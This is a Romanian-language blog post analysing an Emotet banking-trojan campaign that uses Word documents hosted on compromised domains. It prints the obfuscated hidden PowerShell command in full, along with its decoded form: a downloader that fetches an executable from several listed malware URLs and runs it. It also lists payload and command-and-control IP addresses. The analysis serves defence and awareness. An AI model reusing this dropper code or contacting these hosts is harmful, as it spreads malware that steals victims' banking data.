Emotet – Virus bancar – Prezent pe domenii din Romania

Hai sa incepem cu informatii de baza!
Emotet este un virus din categoria Trojan, care are nevoie de acceptul victimei pentru a isi incepe activitatea in noua gazda.
Este un virus bancar, ce are ca scop extragerea de date personale, pentru ca hackerul sa poata utiliza contul sau cardul victimei in scopuri personale.
Daca la inceputuri era trimis prin email ca executabil, sau atasat(backdoor) anumitor programe “gratuite”, acum trimiterea lui se face prin intermediul unor documente ce sunt trimise prin email, iar aceste documente contin o comanda de descarcare si o adresa web, iar virusul este descarcat de acolo si actionand in noua gazda(pc, mobilr etc)
Aceasta metoda este folosita pentru a pacali atat protectia serviciilor de email, cat si viitoarea victima.
La intrarea virusului, cu acceptul victimei, sansele de scapare constau doar in posibilitatea de recunoastere a virusului respectiv de catre antivirus, firewall… in functie de ce are presupusa victima in dispozitiv.
Dar sa trecem la povestea noastra si o sa facem o mica analiza malware.
Zilnic apar liste cu Ip-uri, domenii, dispozitive compromise. Una din aceste liste contine doua domenii de Romania.
Se presupune ca sunt controlate de hackeri si folosite pentru a isi gazdui fisierele lor malware.

Accesam adresele si vedem ca ambele contin fisiere .doc.
De precizat ca pana aici Antivirusul nu reactioneaza.

Dupa cum se poate observa, fisierele sunt descarcate de pe aceste domenii de Romania (.ro) si apar ca fiind documente Microsoft Word 97-2003.

La scanare, virusul apare detectat de numai 18 si cei 60 de vendori prezenti pe platforma. Drept urmare, o mare parte si solutiile antivirus NU vor reactiona la aparitia virusului in dispozitiv.

In aceata varianta, doar aplicatiile celor de mai sus pot identifica virusul.

Iata si motivul detectiei slabe, virusul a fost creat… astazi. Ceea ce denota ca hackerul vine cu variante “curate” pentru a evita detectia.

http://trangvang.info.vn/home/pxxx7l/
https://74.101.225.121/tGQWzXxxxhSt
http://trangvang.info.vn/home/pxxx7l/
https://74.101.225.121/tBUxxxQWaf5EyJ8

Acum, pentru a avea o idee despre ce se intampla…
Comanda documentului arata cam asa: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE” /n “C:\Users\admin\AppData\Local\Temp\2050519442433378869714090.doc
Comanda folosita de Powershell este ascunsa si criptata:

Powershell -w hidden -en JABNAGEAdABlAGQAdgB0AG4AZAA9ACcASABpAGoAcgBsAGsAbABjAG4AYgAnADsAJABYAGcAbQB4AGkAagBsAHEAaQBjAGsAbABpACAAPQAgACcAMQAzADkAJwA7ACQATABhAHkAcABvAHQAdwBrAG4APQAnAFMAcwBrAGYAYwBkAHMAaQBrAHcAYwBjACcAOwAkAFkAcQBlAGkAcwBoAHIAZgB0AG0AcAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAWABnAG0AeABpAGoAbABxAGkAYwBrAGwAaQArACcALgBlAHgAZQAnADsAJABSAGEAegBnAGcAZQBpAHAAcABzAGMAPQAnAFkAawBxAGIAdAB4AHAAegAnADsAJABTAG4AeQBsAGUAdAB6AGsAZgBqAGYAbgA9ACYAKAAnAG4AZQAnACsAJwB3AC0AbwAnACsAJwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBlAFQALgB3AEUAQgBDAEwAaQBFAG4AVAA7ACQARwBhAHAAawBzAGUAaQB2AGUAbwA9ACcAaAB0AHQAcAA6AC8ALwB0AHIAYQBuAGcAdgBhAG4AZwAuAGkAbgBmAG8ALgB2AG4ALwBoAG8AbQBlAC8AcABvAEkAYwA3AGwALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGYAbAB5AGIAdQB5AHMALgBuAGUAdAAvAGwAaQBiAHIAYQByAGkAZQBzAC8AeABlAHMALwAqAGgAdAB0AHAAOgAvAC8AaQBuAGYAbwByAG0AYQB0AGkAYwAtAGMAbAB1AGIALgBjAG8AbQAvAGwAYQBuAGcAdQBhAGcAZQAvAHkALwAqAGgAdAB0AHAAOgAvAC8AZABlAG0AbwAuAHMAdABpAGMAawB5AHAAbwBzAHQALgBpAG8ALwB3AHAALQBhAGQAbQBpAG4ALwBnAC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBkAHIAaQB2AGUAcgB0AHIAYQBpAG4AZQByAHMAYwBoAG8AbwBsAC4AYwBvAG0ALgBhAHUALwBsAG8AZwBzAC8AUgBZAEoAUABnAHIASwBPAEoALwAnAC4AIgBzAGAAcABsAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEcAegBqAGkAdQBhAGgAagB5AHIAeQB4AHQAPQAnAEgAZwBrAGMAZABzAGQAZgAnADsAZgBvAHIAZQBhAGMAaAAoACQASwB4AHoAdABhAGwAaABwAGkAbgB2ACAAaQBuACAAJABHAGEAcABrAHMAZQBpAHYAZQBvACkAewB0AHIAeQB7ACQAUwBuAHkAbABlAHQAegBrAGYAagBmAG4ALgAiAGQAYABvAHcATgBMAGAATwBhAEQARgBgAGkAbABFACIAKAAkAEsAeAB6AHQAYQBsAGgAcABpAG4AdgAsACAAJABZAHEAZQBpAHMAaAByAGYAdABtAHAAKQA7ACQAWQB0AHYAagBlAHIAcwB5AGEAdABoAHcAPQAnAE8AaABqAGQAZwBmAGIAcgB0AHgAbAAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAFkAcQBlAGkAcwBoAHIAZgB0AG0AcAApAC4AIgBsAGAAZQBuAGcAdABIACIAIAAtAGcAZQAgADMAMgA2ADgAMQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAGAAVABhAFIAVAAiACgAJABZAHEAZQBpAHMAaAByAGYAdABtAHAAKQA7ACQATwBoAGQAdQBqAHAAdwBoAG0AegB0AGEAZwA9ACcARAB3AGwAawB3AG4AdwBqAHoAeQB1AHMAJwA7AGIAcgBlAGEAawA7ACQAWAB4AG8AbAB2AGsAdABxAD0AJwBIAHEAaAB1AGoAagBnAHoAZAB6ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEEAZgBpAGkAcwB4AGQAdgA9ACcAUQBnAHAAYwBmAG8AbABvAHkAbgBrAHoAZAAnAA==

Decryptata din Base64

$�M�a�t�e�d�v�t�n�d�=�’�H�i�j�r�l�k�l�c�n�b�’�;�$�X�g�m�x�i�j�l�q�i�c�k�l�i� �=� �’�1�3�9�’�;�$�L�a�y�p�o�t�w�k�n�=�’�S�s�k�f�c�d�s�i�k�w�c�c�’�;�$�Y�q�e�i�s�h�r�f�t�m�p�=�$�e�n�v�:�u�s�e�r�p�r�o�f�i�l�e�+�’�\�’�+�$�X�g�m�x�i�j�l�q�i�c�k�l�i�+�’�.�e�x�e�’�;�$�R�a�z�g�g�e�i�p�p�s�c�=�’�Y�k�q�b�t�x�p�z�’�;�$�S�n�y�l�e�t�z�k�f�j�f�n�=�&�(�’�n�e�’�+�’�w�-�o�’�+�’�b�’�+�’�j�e�c�t�’�)� �n�e�T�.�w�E�B�C�L�i�E�n�T�;�$�G�a�p�k�s�e�i�v�e�o�=�’�h�t�t�p�:�/�/�t�r�a�n�g�v�a�n�g�.�i�n�f�o�.�v�n�/�h�o�m�e�/�p�o�I�c�7�l�/��h�t�t�p�s�:�/�/�w�w�w�.�f�l�y�b�u�y�s�.�n�e�t�/�l�i�b�r�a�r�i�e�s�/�x�e�s�/��h�t�t�p�:�/�/�i�n�f�o�r�m�a�t�i�c�-�c�l�u�b�.�c�o�m�/�l�a�n�g�u�a�g�e�/�y�/��h�t�t�p�:�/�/�d�e�m�o�.�s�t�i�c�k�y�p�o�s�t�.�i�o�/�w�p�-�a�d�m�i�n�/�g�/��h�t�t�p�s�:�/�/�w�w�w�.�d�r�i�v�e�r�t�r�a�i�n�e�r�s�c�h�o�o�l�.�c�o�m�.�a�u�/�l�o�g�s�/�R�Y�J�P�g�r�K�O�J�/�’�.�”�s��p�l�I�T�"�(�[�c�h�a�r�]�4�2�)�;�$�G�z�j�i�u�a�h�j�y�r�y�x�t�=�'�H�g�k�c�d�s�d�f�'�;�f�o�r�e�a�c�h�(�$�K�x�z�t�a�l�h�p�i�n�v� �i�n� �$�G�a�p�k�s�e�i�v�e�o�)�{�t�r�y�{�$�S�n�y�l�e�t�z�k�f�j�f�n�.�"�d��o�w�N�L��O�a�D�F��i�l�E�”�(�$�K�x�z�t�a�l�h�p�i�n�v�,� �$�Y�q�e�i�s�h�r�f�t�m�p�)�;�$�Y�t�v�j�e�r�s�y�a�t�h�w�=�’�O�h�j�d�g�f�b�r�t�x�l�’�;�I�f� �(�(�.�(�’�G�e�t�-�’�+�’�I�t�e�m�’�)� �$�Y�q�e�i�s�h�r�f�t�m�p�)�.�”�l��e�n�g�t�H�"� �-�g�e� �3�2�6�8�1�)� �{�[�D�i�a�g�n�o�s�t�i�c�s�.�P�r�o�c�e�s�s�]�:�:�"�s��T�a�R�T�”�(�$�Y�q�e�i�s�h�r�f�t�m�p�)�;�$�O�h�d�u�j�p�w�h�m�z�t�a�g�=�’�D�w�l�k�w�n�w�j�z�y�u�s�’�;�b�r�e�a�k�;�$�X�x�o�l�v�k�t�q�=�’�H�q�h�u�j�j�g�z�d�z�’�}�}�c�a�t�c�h�{�}�}�$�A�f�i�i�s�x�d�v�=�’�Q�g�p�c�f�o�l�o�y�n�k�z�d�’�

Decryptata are mai multe informatii interesante:

$Matedvtnd=’Hijrlklcnb’;$Xgmxijlqickli = ‘139’;$Laypotwkn=’Sskfcdsikwcc’;$Yqeishrftmp=$env:userprofile+’\’+$Xgmxijlqickli+’.exe’;$Razggeippsc=’Ykqbtxpz’;$Snyletzkfjfn=&(‘ne’+’w-o’+’b’+’ject’) neT.wEBCLiEnT;$Gapkseiveo=’http://trangvang.info.vn/home/poIc7l/https://www.flybuys.net/libraries/xes/http://informatic-club.com/language/y/http://demo.stickypost.io/wp-admin/g/https://www.drivertrainerschool.com.au/logs/RYJPgrKOJ/‘.”splIT"([char]42);$Gzjiuahjyryxt='Hgkcdsdf';foreach($Kxztalhpinv in $Gapkseiveo){try{$Snyletzkfjfn."dowNLOaDFilE”($Kxztalhpinv, $Yqeishrftmp);$Ytvjersyathw=’Ohjdgfbrtxl’;If ((.(‘Get-‘+’Item’) $Yqeishrftmp).”lengtH" -ge 32681) {[Diagnostics.Process]::"sTaRT”($Yqeishrftmp);$Ohdujpwhmztag=’Dwlkwnwjzyus’;break;$Xxolvktq=’Hqhujjgzdz’}}catch{}}$Afiisxdv=’Qgpcfoloynkzd’

Se pot observa domeniile accesate pentru a descarca virusul, dar si comenzile de Download, GET, Item, Start…
Se pare ca intradevar acel document nu este doar ceva de citit, ci contine comenzi de descarcare a unui fisier care stim ce este, dar poate fi orice altceva.
Mai in detaliu: $Xgmxijlqickli = ‘139’ +$Xgmxijlqickli+’.exe … deci avem un 139.exe, nu?

Avem polc7l care este descris ca fiind ATLUtils Module – adica Active Template Library si mai exact este chiar fisierul nostru 139.exe.

14 din 73… destul de rau pentru posibilele victime!

Acest fisier odata executat, instaleza un alt .exe in dispozitivul victimei(da, deja victima).

Acesta se conecteaza la Ip-ul/host-ul de unde vin toate comenzile hackerului.
Virusul in sine preia comenzi date de hacker si le executa la nivel de dispozitiv.
Exemple: se poate raspandi in retea, colecteaza date, trimite date, ataca, stocheaza date, spioneaza tastatura/camera/monitor etc.
In cazul nostru dispozitivul se conecteaza la adresa http://68.114.229.171/, iar acolo se gaseste acel C&C Panel, adica Panoul de Comanda si Control al atacatorului.
Cam asta ar fi pentru astazi.
In concluzie, daca ai o pagina web sau un server si nu sunt protejate, poti deveni parte activa la activitatile ilegale ale hackerilor.
Deocamdata acest lucru nu este pedepsit, dar… in timp lucrurile se pot schimba!
In ceea ce priveste adevarata victima, grija la ce documente accesati, indiferent de la cine credeti ca provin.

Tags: analiza, antivirus, bancar, cibernetica, malware, pentesting, romania, securitate, servicii